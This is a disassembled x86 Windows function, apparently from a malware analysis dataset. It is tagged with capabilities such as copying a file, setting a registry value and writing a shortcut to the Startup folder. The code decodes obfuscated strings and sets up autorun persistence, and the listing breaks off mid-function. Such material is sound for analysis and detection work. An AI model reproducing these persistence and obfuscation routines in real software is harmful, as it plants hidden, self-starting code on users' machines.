Function at 0x4164c0
Capabilities:
Copy file
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f1735
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e0
push esi
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x10], esi
push edi
mov dword [ebp - 0x21], 0xd3e7fed2
mov dword [ebp - 0x1d], 0xfef1f0f0
mov dword [ebp - 0x19], 0xebecfad9
mov byte [ebp - 0x15], 0
movzx eax, byte [ebp + ecx - 0x21]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xc
jb 0x416500
push 0x530bb8
lea edx, [ebp - 0x21]
lea ecx, [ebp - 0x168]
call fcn.0045c4e0
add esp, 4
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x1f], 0xddd1ded9
mov dword [ebp - 0x1b], 0xebecf0f0
mov word [ebp - 0x17], 0xedfa
mov byte [ebp - 0x15], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xa
jb 0x416550
push 0x530bb8
lea edx, [ebp - 0x1f]
lea ecx, [ebp - 0x150]
call fcn.0045c4e0
add esp, 4
mov byte [ebp - 4], 1
xor ecx, ecx
movaps xmm0, xmmword [0x51e140]
movups xmmword [ebp - 0x25], xmm0
mov byte [ebp - 0x15], 0
movzx eax, byte [ebp + ecx - 0x25]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0x10
jb 0x416590
push 0x530bb8
lea edx, [ebp - 0x25]
lea ecx, [ebp - 0x120]
call fcn.0045c4e0
add esp, 4
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x180]
call fcn.00416130
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x21], 0xdedcd0d3
mov dword [ebp - 0x1d], 0xcfcfded3
mov dword [ebp - 0x19], 0xdecbdedb
mov byte [ebp - 0x15], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x21]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xc
jb 0x4165f0
lea eax, [ebp - 0x21]
push eax
call fcn.004d76e1
mov edx, eax
add esp, 4
test edx, edx
je 0x4169bf
mov ecx, edx
mov dword [ebp - 0x5c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416635
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x6c]
call fcn.00402aa0
mov byte [ebp - 4], 4
push 0xffffffffffffffc3
mov byte [ebp - 0x29], 0
call fcn.00459470
lea ecx, [ebp - 0x2a]
mov byte [ebp - 0x11], al
mov byte [ebp - 0x2a], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416663
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.0045a730
cmp dword [ebp - 0x154], 0x10
lea eax, [ebp - 0x168]
push dword [ebp - 0x158]
cmovae eax, dword [ebp - 0x168]
lea ecx, [ebp - 0x6c]
push eax
call fcn.0045a730
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x6c]
call fcn.0040b8c0
test al, al
jne 0x4166c0
lea ecx, [ebp - 0x6c]
call fcn.00415f90
test al, al
je 0x416975
mov dword [ebp - 0x33], 0xfae7fab1
xor ecx, ecx
mov byte [ebp - 0x2f], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x33]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 4
jb 0x4166d0
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x2a], al
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x2a]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416700
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x417ce5
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x2a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x138]
call fcn.00460300
mov dword [ebp - 0x10], 4
mov byte [ebp - 4], 6
lea eax, [ebp - 0x168]
cmp dword [ebp - 0x154], 0x10
lea ecx, [ebp - 0x138]
push dword [ebp - 0x158]
cmovae eax, dword [ebp - 0x168]
push eax
call fcn.0045a730
mov dword [ebp - 0x7c], 0
lea edx, [ebp - 0x8c]
mov dword [ebp - 0x78], 0
lea ecx, [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0xc
movups xmmword [ebp - 0x8c], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x33]
push eax
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 7
mov eax, 0xc
mov dword [ebp - 0x10], eax
and eax, 0xfffffff7
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x78]
cmp ecx, 0x10
jb 0x416819
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41680c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417cea
push ecx
push edx
call fcn.004b2a81
mov eax, dword [ebp - 0x10]
add esp, 8
and eax, 0xfffffffb
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x138]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0x54]
mov ecx, esp
mov dword [ebp - 0xc0], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
call fcn.0040b820
add esp, 0x18
test al, al
jne 0x416966
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
push 1
cmovae ecx, dword [ebp - 0x54]
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
push ecx
cmovae eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x416966
movaps xmm0, xmmword [0x51e6c0]
xor ecx, ecx
movups xmmword [ebp - 0xee], xmm0
mov dword [ebp - 0xce], 0xfac9ebf1
movaps xmm0, xmmword [0x51ea10]
movups xmmword [ebp - 0xde], xmm0
mov dword [ebp - 0xca], 0xf0f6eced
mov dword [ebp - 0xc6], 0xeacdc3f1
mov word [ebp - 0xc2], 0xf1
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xee]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xee], al
inc ecx
cmp ecx, 0x2d
jb 0x4168f0
lea eax, [ebp - 0x14]
push eax
push 0x20006
push 0
lea eax, [ebp - 0xee]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x416966
push dword [ebp - 0x44]
cmp dword [ebp - 0x40], 0x10
lea ecx, [ebp - 0x54]
lea eax, [ebp - 0x168]
cmovae ecx, dword [ebp - 0x54]
cmp dword [ebp - 0x154], 0x10
push ecx
cmovae eax, dword [ebp - 0x168]
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x54]
call fcn.00402890
mov esi, dword [ebp - 0x10]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x58]
cmp ecx, 0x10
jb 0x4169ad
mov edx, dword [ebp - 0x6c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4169a3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417cef
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0xf
mov byte [ebp - 0x6c], 0
mov dword [ebp - 0x71], 0xcfd2dacb
xor ecx, ecx
mov byte [ebp - 0x6d], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x71]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x71], al
inc ecx
cmp ecx, 4
jb 0x4169d0
lea eax, [ebp - 0x71]
push eax
call fcn.004d76e1
mov edi, eax
add esp, 4
mov dword [ebp - 0xc0], edi
test edi, edi
je 0x416f11
mov ecx, edi
mov dword [ebp - 0x5c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416a20
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x6c]
call fcn.00402aa0
mov byte [ebp - 4], 0xb
push 0xffffffffffffffc3
mov byte [ebp - 0x29], 0
call fcn.00459470
lea ecx, [ebp - 0x2a]
mov byte [ebp - 0x11], al
mov byte [ebp - 0x2a], al
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416a50
sub ecx, edx
lea eax, [ebp - 0x2a]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.0045a730
cmp dword [ebp - 0x13c], 0x10
lea eax, [ebp - 0x150]
push dword [ebp - 0x140]
cmovae eax, dword [ebp - 0x150]
lea ecx, [ebp - 0x6c]
push eax
call fcn.0045a730
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x6c]
call fcn.0040b8c0
test al, al
jne 0x416aef
cmp dword [ebp - 0x58], 0x10
lea edx, [ebp - 0x6c]
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416ac2
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0xc
or esi, 1
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x10], esi
call fcn.00415f90
mov byte [ebp - 0x29], 0
test al, al
je 0x416af3
mov byte [ebp - 0x29], 1
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x10]
test al, 1
je 0x416b4d
and eax, 0xfffffffe
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x416b3b
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x416b31
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417cf4
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
cmp byte [ebp - 0x29], 0
je 0x416f02
mov dword [ebp - 0x19], 0xfae7fab1
xor ecx, ecx
mov byte [ebp - 0x15], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x416b64
mov al, byte [ebp - 0x11]
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x2a], al
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2a]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416b90
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x417cf9
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x2a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x138]
call fcn.00460300
mov esi, dword [ebp - 0x10]
or esi, 0x40
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0xe
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x13c], 0x10
lea ecx, [ebp - 0x138]
push dword [ebp - 0x140]
cmovae eax, dword [ebp - 0x150]
push eax
call fcn.0045a730
mov dword [ebp - 0x44], 0
lea edx, [ebp - 0x54]
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0xa4]
xorps xmm0, xmm0
or esi, 0x80
movups xmmword [ebp - 0x54], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x44], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0xf
and esi, 0xffffff7f
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x54]
call fcn.00402890
and esi, 0xffffffbf
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x138]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0xa4]
mov ecx, esp
mov dword [ebp - 0x34], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 0x11
call fcn.0040b820
add esp, 0x18
test al, al
jne 0x416ce7
cmp dword [ebp - 0x90], 0x10
lea ecx, [ebp - 0xa4]
push 1
cmovae ecx, dword [ebp - 0xa4]
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
push ecx
cmovae eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x416ef1
lea eax, [ebp - 0x2e4]
push eax
push 0
push 0
push 7
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x416ef1
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416d22
sub ecx, edx
lea eax, [ebp - 0x2e4]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.00402aa0
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0x19], 0xf4f1f3b1
mov byte [ebp - 0x15], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x416d50
mov al, byte [ebp - 0x11]
lea edx, [ebp - 0x2a]
mov byte [ebp - 0x2a], al
lea ecx, [ebp - 0x198]
lea eax, [ebp - 0x150]
mov byte [ebp - 0x29], 0
push eax
call fcn.0045c4e0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x19]
push ecx
mov edx, eax
lea ecx, [ebp - 0x138]
call fcn.0045c440
add esp, 8
mov byte [ebp - 4], 0x15
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x416dab
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0045a730
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x138]
call fcn.00402890
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x198]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0x54]
mov ecx, esp
mov dword [ebp - 0x34], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x16
mov byte [ebp - 4], 0x13
call fcn.0040b820
add esp, 0x18
test al, al
jne 0x416ee5
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x416ee5
lea eax, [ebp - 0x14]
push eax
push 0x4fd4c0
push 1
push 0
push 0x4fd4f0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x416edf
mov edx, dword [ebp - 0x14]
cmp dword [ebp - 0x90], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x50]
lea eax, [ebp - 0xa4]
cmovae eax, dword [ebp - 0xa4]
push eax
push edx
call ecx
mov edx, dword [ebp - 0x14]
cmp dword [ebp - 0x13c], 0x10
mov eax, dword [edx]
mov ecx, dword [eax + 0x1c]
lea eax, [ebp - 0x150]
cmovae eax, dword [ebp - 0x150]
push eax
push edx
call ecx
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x2c]
push edx
push 0x4fd4d0
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x416ed6
push 0x208
lea eax, [ebp - 0x4ec]
push 0
push eax
call fcn.004cacb0
add esp, 0xc
lea ecx, [ebp - 0x4ec]
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
cmovae eax, dword [ebp - 0x54]
push 0x104
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp - 0x4ec]
push 1
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x54]
call fcn.00402890
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xa4]
call fcn.00402890
jmp 0x416f05
mov esi, dword [ebp - 0x10]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x6c]
call fcn.00402890
movaps xmm0, xmmword [0x51ddc0]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
nop
movzx eax, byte [ebp + ecx - 0x24]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xf
jb 0x416f20
lea eax, [ebp - 0x24]
push eax
call fcn.004d76e1
mov edx, eax
add esp, 4
test edx, edx
je 0x417a68
mov ecx, edx
mov dword [ebp - 0x5c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x58], 0
movups xmmword [ebp - 0x6c], xmm0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f65
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x6c]
call fcn.00402aa0
mov byte [ebp - 4], 0x17
push 0xffffffffffffffc3
mov byte [ebp - 0x11], 0
call fcn.00459470
lea ecx, [ebp - 0x12]
mov byte [ebp - 0x29], al
mov byte [ebp - 0x12], al
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x416f93
sub ecx, edx
lea eax, [ebp - 0x12]
push ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.0045a730
cmp dword [ebp - 0x10c], 0x10
lea eax, [ebp - 0x120]
push dword [ebp - 0x110]
cmovae eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x6c]
push eax
call fcn.0045a730
cmp dword [ebp - 0x58], 0x10
lea ecx, [ebp - 0x6c]
cmovae ecx, dword [ebp - 0x6c]
call fcn.0040b8c0
test al, al
jne 0x417043
cmp dword [ebp - 0x58], 0x10
lea edx, [ebp - 0x6c]
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
cmovae edx, dword [ebp - 0x6c]
mov ecx, edx
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417010
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0xa4]
call fcn.00402aa0
mov byte [ebp - 4], 0x18
or esi, 2
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x10], esi
call fcn.00415f90
mov byte [ebp - 0x11], 0
test al, al
je 0x417047
mov byte [ebp - 0x11], 1
mov dword [ebp - 4], 0x17
mov eax, dword [ebp - 0x10]
test al, 2
je 0x417066
and eax, 0xfffffffd
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x10], eax
call fcn.00402890
cmp byte [ebp - 0x11], 0
je 0x417a1b
mov dword [ebp - 0x19], 0xfae7fab1
xor ecx, ecx
mov byte [ebp - 0x15], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 4
jb 0x417080
mov al, byte [ebp - 0x29]
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], al
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x12]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4170b0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x5c]
sub eax, edx
cmp eax, ecx
jb 0x417cfe
cmp dword [ebp - 0x58], 0x10
lea eax, [ebp - 0x6c]
push ecx
cmovae eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x12]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x32]
lea ecx, [ebp - 0x138]
call fcn.00460300
mov esi, dword [ebp - 0x10]
or esi, 0x20
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x120]
cmp dword [ebp - 0x10c], 0x10
lea ecx, [ebp - 0x138]
push dword [ebp - 0x110]
cmovae eax, dword [ebp - 0x120]
push eax
call fcn.0045a730
mov dword [ebp - 0xac], 0
lea edx, [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x8c]
xorps xmm0, xmm0
or esi, 0x100
movups xmmword [ebp - 0xbc], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xbc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x19]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0x1b
mov eax, esi
and eax, 0xfffffeff
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x4171d5
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4171c8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d03
push ecx
push edx
call fcn.004b2a81
mov eax, dword [ebp - 0x10]
add esp, 8
and eax, 0xffffffdf
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x138]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0x8c]
mov ecx, esp
mov dword [ebp - 0x34], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1d
call fcn.0040b820
add esp, 0x18
test al, al
jne 0x417a07
cmp dword [ebp - 0x78], 0x10
lea ecx, [ebp - 0x8c]
push 1
cmovae ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x16c], 0x10
push ecx
cmovae eax, dword [ebp - 0x180]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x417a07
push 0x104
lea eax, [ebp - 0x2e4]
mov dword [ebp - 0x14], 0x104
push 0
push eax
call fcn.004cacb0
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2e4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
movaps xmm0, xmmword [0x51e010]
xor ecx, ecx
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0xbff3edb0
mov dword [ebp - 0xc8], 0xd7d8d6d7
mov dword [ebp - 0xc4], 0xcbccda
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xdc]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0xdc], al
inc ecx
cmp ecx, 0x1b
jb 0x4172d0
mov dword [ebp - 0x36], 0xebb0bfbd
xor ecx, ecx
mov dword [ebp - 0x32], 0xbdbff1
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x36]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 7
jb 0x417300
mov dword [ebp - 0x1c], 0xebb0bfbd
xor ecx, ecx
mov dword [ebp - 0x18], 0xbdbfed
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 7
jb 0x417325
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x90], 0
movups xmmword [ebp - 0xa4], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417361
sub ecx, edx
lea eax, [ebp - 0x2e4]
push ecx
push eax
lea ecx, [ebp - 0xa4]
call fcn.00402aa0
mov byte [ebp - 4], 0x1f
xor ecx, ecx
movaps xmm0, xmmword [0x51e9b0]
movups xmmword [ebp - 0x108], xmm0
mov dword [ebp - 0xf8], 0xbff9b0bf
mov dword [ebp - 0xf4], 0xbfcacdb0
mov word [ebp - 0xf0], 0xbd
nop
movzx eax, byte [ebp + ecx - 0x108]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x108], al
inc ecx
cmp ecx, 0x19
jb 0x4173b0
lea eax, [ebp - 0xa4]
push eax
lea edx, [ebp - 0x108]
lea ecx, [ebp - 0x1c8]
call fcn.0045c570
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x1c]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1b0]
call fcn.0045c440
add esp, 8
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x8c]
cmp dword [ebp - 0x78], 0x10
push dword [ebp - 0x7c]
cmovae ecx, dword [ebp - 0x8c]
push ecx
mov ecx, eax
call fcn.0045a730
mov esi, dword [ebp - 0x10]
lea edx, [ebp - 0x54]
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x40], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x54], xmm0
or esi, 0x200
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x54], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x44], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x36]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x120]
cmp dword [ebp - 0x10c], 0x10
push dword [ebp - 0x110]
cmovae ecx, dword [ebp - 0x120]
push ecx
mov ecx, eax
call fcn.0045a730
mov dword [ebp - 0xac], 0
lea edx, [ebp - 0xbc]
mov dword [ebp - 0xa8], 0
lea ecx, [ebp - 0x138]
xorps xmm0, xmm0
or esi, 0x400
movups xmmword [ebp - 0xbc], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xbc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xac], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
push eax
mov dword [ebp - 0x10], esi
call fcn.0045c440
add esp, 4
mov byte [ebp - 4], 0x25
and esi, 0xfffffbff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x41754e
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417544
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d08
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0xf
mov byte [ebp - 0xbc], 0
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x1e0]
call fcn.00402890
and esi, 0xfffffdff
mov dword [ebp - 0x10], esi
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x40]
cmp ecx, 0x10
jb 0x4175b9
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4175af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d08
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1b0]
call fcn.00402890
mov byte [ebp - 4], 0x2a
